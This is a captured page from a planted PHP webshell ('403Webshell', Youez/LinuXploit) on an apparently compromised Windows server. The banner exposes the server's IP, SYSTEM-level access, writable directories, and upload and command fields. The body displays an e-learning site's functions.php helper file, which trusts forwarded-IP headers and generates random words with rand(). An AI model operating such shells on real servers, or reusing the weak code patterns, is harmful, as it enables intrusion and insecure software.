403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/elearning/libs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/elearning/libs/functions.php
<?php

function redirect($url) {
  echo "<script language=\"JavaScript\">\n";
  echo "<!-- hide from old browser\n\n";
  echo "window.location = \"" . $url . "\";\n";
  echo "-->\n";
  echo "</script>\n";

  return true;
}

function get_site_url() {
  return SITE_URL;
}

function get_admin_url() {
  return ADMIN_URL;
}

function generate_admin_link($page = '', $parameters = '') {

  if ($page == '') {
    die('<font color="#ff0"><b>Error!</b></font><br><br><b>Unable to determine the page link!</b>');
  }

  $link = get_admin_url();

  if (!strstr($page, '.php'))
    $page .= '.php';

  if ($parameters == '') {
    $link = $link . $page;
    $separator = '?';
  } else {
    $link = $link . $page . '?' . $parameters;
    $separator = '&';
  }

  while ((substr($link, -1) == '&') || (substr($link, -1) == '?'))
    $link = substr($link, 0, -1);
  return $link;
}

function generate_site_link($page = '', $parameters = '') {

  if ($page == '') {
    die('<font color="#ff0"><b>Error!</b></font><br><br><b>Unable to determine the page link!</b>');
  }

  $link = get_site_url();

  if (!strstr($page, '.php'))
    $page .= '.php';

  if ($parameters == '') {
    $link = $link . $page;
    $separator = '?';
  } else {
    $link = $link . $page . '?' . $parameters;
    $separator = '&';
  }

  while ((substr($link, -1) == '&') || (substr($link, -1) == '?'))
    $link = substr($link, 0, -1);
  return $link;
}

function is_admin_logged_in() {
  return ( isset($_SESSION["admin_id"]) && $_SESSION["admin_id"] <> "" ) ? TRUE : FALSE;
}

function is_user_logged_in() {
  return ( isset($_SESSION["user_id"]) && $_SESSION["user_id"] <> "" ) ? TRUE : FALSE;
}


function get_ip_address() {
  if (isset($_SERVER)) {
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
      $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
      $ip = $_SERVER['HTTP_CLIENT_IP'];
    } else {
      $ip = $_SERVER['REMOTE_ADDR'];
    }
  } else {
    if (getenv('HTTP_X_FORWARDED_FOR')) {
      $ip = getenv('HTTP_X_FORWARDED_FOR');
    } elseif (getenv('HTTP_CLIENT_IP')) {
      $ip = getenv('HTTP_CLIENT_IP');
    } else {
      $ip = getenv('REMOTE_ADDR');
    }
  }

  return $ip;
}

function safe_input($string, $striptags = FALSE, $htmlentities = FALSE, $htmlspecial = FALSE) {
  $tempString = "";
  if (is_string($string)) {
    if ($htmlspecial == TRUE) {
      $tempString = trim(htmlspecialchars($string, ENT_QUOTES));
    } if ($htmlentities == TRUE) {
      $tempString = trim(htmlentities($string));
    } if ($striptags == TRUE) {
      $tempString = trim(strip_tags($string));
    } else {
      $tempString = trim($string);
    }
    return $tempString;
  } elseif (is_array($string)) {
    reset($string);
    while (list($key, $value) = each($string)) {
      $string[$key] = safe_input($value);
    }
    return $string;
  } else {
    return $string;
  }
}

function safe_output($string) {
  return trim((stripslashes($string)));
}

function sanitize_string($string) {
  $string = preg_replace('/ +/', ' ', $string);
  return preg_replace("/[<>]/", '_', $string);
}

function get_all_get_params($exclude_array = '') {

  if (!is_array($exclude_array))
    $exclude_array = array();

  $get_url = '';
  if (is_array($_GET) && (sizeof($_GET) > 0)) {
    reset($_GET);

    $arr = $_GET;
    foreach ($arr as $k => $value) {
      if (gettype($arr[$k]) == "array") {
        foreach ($arr[$k] as $key => $values) {
          if ((strlen($values) > 0) && (!in_array($key, $exclude_array))) {
            $get_url .= sanitize_string($k) . '[]=' . rawurlencode(stripslashes($values)) . '&';
          }
        }
      } else {
        if ((strlen($value) > 0) && ($k != 'error') && (!in_array($k, $exclude_array)) && ($k != 'x') && ($k != 'y')) {
          $get_url .= sanitize_string($k) . '=' . rawurlencode(stripslashes($value)) . '&';
        }
      }
    }
  }

  while (strstr($get_url, '&&'))
    $get_url = str_replace('&&', '&', $get_url);
  while (strstr($get_url, '&amp;&amp;'))
    $get_url = str_replace('&amp;&amp;', '&amp;', $get_url);

  return $get_url;
}

function get_random_word($size) {
  $salt = "ABCHEFGHJKMNPQRSTUVWXYZ0123456789abchefghjkmnpqrstuvwxyz!@#%^&*()";

  $word = '';
  $i = 0;
  while (strlen($word) < $size) {
    $num = rand() % 59;
    $tmp = substr($salt, $num, 1);
    $word = $word . $tmp;
    $i++;
  }
  return $word;
}

function get_countries() {
  global $DB;

  try {
    $sql = "select * FROM " . TBL_COUNTRIES . " WHERE 1 ORDER BY countries_name ASC";

    $stmt = $DB->prepare($sql);
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
  return $results;
}

function get_state($cid) {
  global $DB;

  if ($cid <> "") $s = " AND country_id = :cid";
  try {
    $sql = "select * FROM " . TBL_STATES . " WHERE 1  $s ORDER BY state_name ASC";

    $stmt = $DB->prepare($sql);
    if ($cid <> "") $stmt->bindValue(":cid", intval($cid));
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
  return $results;
}

function get_dist_city($id) {
  global $DB;

  if ($id <> "") $s = " AND dist_id = :id";
  try {
    $sql = "select * FROM " . TBL_DISTRICT_CITY . " WHERE 1  $s ORDER BY dc_name ASC";

    $stmt = $DB->prepare($sql);
    if ($id <> "") $stmt->bindValue(":id", intval($id));
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
  return $results;
}

function get_country_name($id) {
  global $DB;

  try {
    $sql = "select countries_name FROM " . TBL_COUNTRIES . " WHERE 1 AND countries_id = :id";

    $stmt = $DB->prepare($sql);
    $stmt->bindValue(":id", $id);
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
  return $results[0]["countries_name"];
}

function get_state_name($cid) {
  global $DB;


  try {
    $sql = "select state_name FROM " . TBL_STATES . " WHERE 1 AND state_id = :id";

    $stmt = $DB->prepare($sql);
    $stmt->bindValue(":id", intval($cid));
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
   return $results[0]["state_name"];
}

function get_dist_city_name($id) {
  global $DB;

  
  try {
    $sql = "select dc_name FROM " . TBL_DISTRICT_CITY . " WHERE 1 AND dist_id = :id";

    $stmt = $DB->prepare($sql);
    $stmt->bindValue(":id", intval($id));
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
  return $results[0]["dc_name"];
}

function get_categories() {
  global $DB;

  try {
    $sql = "select * FROM " . TBL_CATEGORY . " WHERE 1 ORDER BY ct_id ASC";

    $stmt = $DB->prepare($sql);
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
  return $results;
}

function get_subjects() {
  global $DB;

  try {
    $sql = "select * FROM " . TBL_SUBJECTS . " WHERE 1 ORDER BY sb_id ASC";

    $stmt = $DB->prepare($sql);
    $stmt->execute();
    $results = $stmt->fetchAll();
  } catch (Exception $ex) {
    echo $ex->getMessage();
  }
  return $results;
}

function findInArray($find, $arr, $field) {
  $count = 0;
  for ($k = 0; $k < count($arr); $k++) {
    if ($arr[$k][$field] == $find) $count++;
  }
  return $count;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit